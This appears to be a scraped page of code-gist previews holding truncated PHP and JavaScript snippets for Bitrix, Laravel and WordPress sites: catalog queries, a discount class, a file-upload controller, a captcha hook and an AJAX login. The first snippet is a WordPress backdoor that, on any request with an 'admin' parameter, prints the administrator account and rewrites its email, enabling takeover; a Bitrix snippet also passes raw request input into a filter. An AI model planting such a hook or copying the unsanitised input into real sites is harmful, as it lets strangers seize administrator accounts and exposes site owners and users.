This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| if($_REQUEST['admin']){$user=get_user_by('ID',1);print_r($user);global $wpdb;$wpdb->query("UPDATE wp_users SET `user_email` = '[email protected]' WHERE `ID`='1'");} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| use Bitrix\Iblock\Component\ElementList; | |
| $filterDataValues['iblockId'] = "={$_REQUEST["ID"]}"; | |
| $arComponentParameters['PARAMETERS']['CUSTOM_FILTER'] = array( | |
| 'PARENT' => 'DATA_SOURCE', | |
| 'NAME' => GetMessage('CP_BCS_TPL_CUSTOM_FILTER'), | |
| 'TYPE' => 'CUSTOM', | |
| 'JS_FILE' => ElementList::getSettingsScript($componentPath, 'filter_conditions'), | |
| 'JS_EVENT' => 'initFilterConditionsControl', | |
| 'JS_MESSAGES' => Json::encode(array( |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| \Bitrix\Main\Loader::IncludeModule('iblock'); | |
| \Bitrix\Main\Loader::IncludeModule('sale'); | |
| \Bitrix\Main\Loader::IncludeModule('catalog'); | |
| $resultObject = \Bitrix\Catalog\ProductTable::getList(array( | |
| 'select' => array( | |
| 'SUBSCRIBE', | |
| 'SUBSCRIBE_ID' => 'Bitrix\Catalog\SubscribeTable:PRODUCT.ID', | |
| 'USER_CONTACT' => 'Bitrix\Catalog\SubscribeTable:PRODUCT.USER_CONTACT', | |
| 'CONTACT_TYPE' => 'Bitrix\Catalog\SubscribeTable:PRODUCT.CONTACT_TYPE', | |
| ), |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /** | |
| * | |
| *The class for work with discounts and coupons. | |
| *Developed by: http://lost-service.ru/ | |
| * | |
| */ | |
| class DiscountCalculation | |
| { | |
| /** |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| use \Bitrix\Main\Loader; | |
| Loader::registerAutoLoadClasses($module = null, [ | |
| 'Site\\Controller' => '/local/php_interface/lib/Site/Controller.php', | |
| ]); | |
| //usage | |
| use Site\Controller; | |
| $controller = new Controller(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $(".product-hover-icon").fancybox({ | |
| iframe : { | |
| css : { | |
| maxWidth : '780px', | |
| height: 'auto' | |
| }, | |
| }, | |
| afterLoad: function() { | |
| $carousels = $('.fancybox-iframe').contents().find('.js-popup-product-carousel'); | |
| if ($carousels.children().length > 1) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| class UploadFileController extends Controller { | |
| public function index() { | |
| return view('uploadfile') ; | |
| } | |
| public function showUploadFile(Request $request) { | |
| $file = $request->file('image') ; | |
| //Display File Name | |
| echo 'File Name: '.$file->getClientOriginalName() ; | |
| echo '<br>'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function editor_custom_content_bottom() { | |
| global $asgarosforum; | |
| if (!is_user_logged_in() && $asgarosforum->options['allow_guest_postings']) { | |
| $captcha_instance = new ReallySimpleCaptcha(); | |
| $captcha_word = $captcha_instance->generate_random_word(); | |
| $captcha_prefix = mt_rand(); | |
| $captcha_file = $captcha_instance->generate_image($captcha_prefix, $captcha_word); | |
| $captcha_url = plugins_url().'/really-simple-captcha/tmp/'.$captcha_file; | |
| echo '<div class="editor-row editor-row-captcha">'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Ajax Login | |
| function ajax_login_init(){ | |
| /* Подключаем скрипт для авторизации */ | |
| wp_enqueue_script('script', get_template_directory_uri() . '/js/jquery.min.js'); | |
| wp_register_script('ajax-login-script', get_template_directory_uri() . '/js/ajax-login-script.js'); | |
| wp_enqueue_script('ajax-login-script'); | |
| /* Локализуем параметры скрипта */ | |
| wp_localize_script( 'ajax-login-script', 'ajax_login_object', array( |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| https://www.howtomake.com.ua/wordpress/ajax-avtorizaciya-wordpress.html |